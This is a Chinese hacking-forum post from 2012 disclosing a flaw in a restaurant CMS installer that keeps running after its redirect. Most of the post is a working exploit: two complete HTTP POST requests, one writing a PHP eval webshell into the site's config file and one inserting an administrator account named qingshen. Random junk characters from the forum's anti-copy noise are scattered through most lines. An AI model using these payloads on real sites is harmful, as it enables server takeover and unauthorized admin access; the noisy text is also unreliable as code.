找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2017|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
+ p; j) Z/ T2 }' a  x2 g/ H( h- x. K3 M
<?php6 C: B- Q* o! P+ k
if(file_exists("../install.lock"))
" |' s/ S; Y, V+ t8 T{+ f6 m8 _- p  ]: d9 c
    header("Location: ../");//没有退出& l) t. w) ~+ E; h: J/ {
}4 e( f8 Q5 j7 D( c7 p2 M
               ! R2 m: S( A4 K" j/ D
//echo 'tst';exit;
9 c  ~% H6 D, d4 m' |/ X& crequire_once("init.php");
/ c4 G6 t0 A2 \% o+ y3 S) Z, vif(empty($_REQUEST['step']) || $_REQUEST['step']==1)  |- P8 k8 f% g: ?- l
{
2 u2 X8 U$ R; T" j4 J可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。& }( ]8 V6 P$ I

% `8 R9 Q& n  b$ H5 \% |5 Y1、getshell(很危险)' _: J/ S6 j8 `. K( I, w- W
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)& R1 l' e/ h! U! K0 v: E
{5 u3 R4 ?6 B, o% p, |4 p
$smarty->assign("step",1);0 x4 l/ i. X2 O3 U2 _- s$ V; x. q% Z7 Z
$smarty->display("index.html");
1 T6 A! O( C4 [9 N- D  o5 p}elseif($_REQUEST['step']==2)
: m) [6 `- m; Z{' c3 N  d$ T) T1 z. X6 W
    $mysql_host=trim($_POST['mysql_host']);
8 X0 g) S5 M& V1 F! J& F    $mysql_user=trim($_POST['mysql_user']);# e0 j& N! a0 P6 f1 C  E
    $mysql_pwd=trim($_POST['mysql_pwd']);
1 y0 @/ W4 D! Y1 S  F0 a    $mysql_db=trim($_POST['mysql_db']);
+ L6 j' h0 O2 j8 g/ i/ q    $tblpre=trim($_POST['tblpre']);. r; g. X" K; L2 ?
    $domain==trim($_POST['domain']);
& e$ z7 d8 d, B' \    $str="<?php \r\n";
/ Z, N- |# N1 D) ^( A    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
9 m9 d, o7 s' t# u8 e6 K8 J' F    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";: i; j6 P# P- _. w, d
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
. x- v- D. Z3 U, i  n' P0 c' W    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";6 D2 W+ t5 e1 _# X
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";9 o# ?; z) J8 I' C# D% B+ r% S( J
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";4 X. j8 g0 _' X# D! [4 x4 ?
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";$ D( ^3 d$ D% I( z; H/ S) }
    $str.='define("SKINS","default");'."\r\n";1 J& n0 \+ P  g* U: n9 u4 z
    $str.='?>';1 |2 V, f! L* d1 h) N
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件/ P1 C9 F5 H5 F$ M7 Q& q
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
: i  z# g! G9 q+ {0 p' q( l. X1 NPOST /canting/install/index.php?m=index&step=2 HTTP/1.1. \8 Q  e0 v) y. m2 Y$ @: j' }' G
Host: 192.168.80.129
+ b' f% \: N7 d5 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.06 v8 w0 H% q5 t
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8) s$ T, W% H' U9 ^
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.30 I# y5 K. C8 _( C7 B
Accept-Encoding: gzip, deflate
3 y- d9 W, I/ K. e$ E* d" kReferer: http://192.168.80.129/canting/install/index.php?step=1
  v  O# F6 n: d0 L7 FCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc425 l' ?( }- v) a) D4 ?- M
Content-Type: application/x-www-form-urlencoded8 O1 B2 S! @1 I' A$ C9 \9 Z
Content-Length: 126+ {; t' f/ n% D) ]7 v
         
& Q& y4 B. @. [5 V( e$ i1 ]. Rmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
: N* K  M, `3 a* w, M0 Z. ~$ }6 \但是这个方法很危险,将导致网站无法运行。. H+ E4 }4 v$ b1 ], ]
( r" `; h2 A( G( N. \6 k
2、直接添加管理员
/ U5 `' u2 ^9 q* k& c1 e0 h
: l: Z3 Y: n( _* }elseif($_REQUEST['step']==5)
' @/ t' k) M) |0 U4 Q( t{
# T6 ~4 Z% O  h+ X6 s. N    if($_POST)
! M) U) z9 z" m. q7 u+ J    {   require_once("../config/config.inc.php");1 x) W  v2 |: t$ m5 d2 v6 V- O; G
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
  @) R; K, [+ |, d: k+ j        mysql_select_db(MYSQL_DB,$link);, r1 s/ U' [! T# W8 k& ~
        mysql_query("SET NAMES ".MYSQL_CHARSET );
3 A4 e0 K- n0 G9 n, p         mysql_query("SET sql_mode=''");
( x! O! w8 B  ^8 e! O/ i
7 O2 E) q& {- {4 U2 z/ c $adminname=trim($_POST['adminname']);; ^% T3 v7 w7 k
        $pwd1=trim($_POST['pwd1']);
- E4 ?; {) K( R, U  M% K' O        $pwd2=trim($_POST['pwd2']);
$ n% i6 X2 t/ m1 F  b        if(empty($adminname))
0 t2 ~8 |$ Q. I- \1 C        {
" M. u4 B( q% b' E# W0 B& i* D8 t5 [( a/ x
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
  A/ L" b9 |( F; [4 s' ^            exit();
" v  W0 ^4 ?( Y. b        }4 ~, l3 h- H5 J- O2 C+ ^# q
        if(($pwd1!=$pwd2) or empty($pwd1))
( ]5 w+ s% Y6 X7 c. A1 j8 V) A        {
9 g' |+ Z5 [+ S- [            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
  H  f2 F8 d$ S( K7 x9 _, z        }+ u" Y1 `) K5 ~
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员  {* S. I+ N6 P5 J; a& F
    }4 H8 \& y6 l1 s( o* n8 \& [7 B
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
1 y% a& h" i& B2 B1 }+ E9 r* q7 h3 DPOST /canting/install/index.php?m=index&step=5 HTTP/1.1' R7 c) K6 J' E3 F4 s
Host: 192.168.80.129) V) o  u0 e4 d( N( R
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) r4 S' M+ t( w) b
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 D& M! E4 C+ CAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
! u* e1 S/ |9 ?/ p, n! L( TAccept-Encoding: gzip, deflate
7 C, e) m0 h# R  V! pReferer: http://www.2cto.com /canting/install/index.php?step=11 t# I& P. V0 A8 f
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
$ g6 P/ {' T; [% l- wContent-Type: application/x-www-form-urlencoded# X6 p# C' R$ e
Content-Length: 46- ~* u0 [1 w0 K) B
      
& d1 D( z, a8 E+ j' v+ v, I' }adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
( {$ y* ]0 U2 S( s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表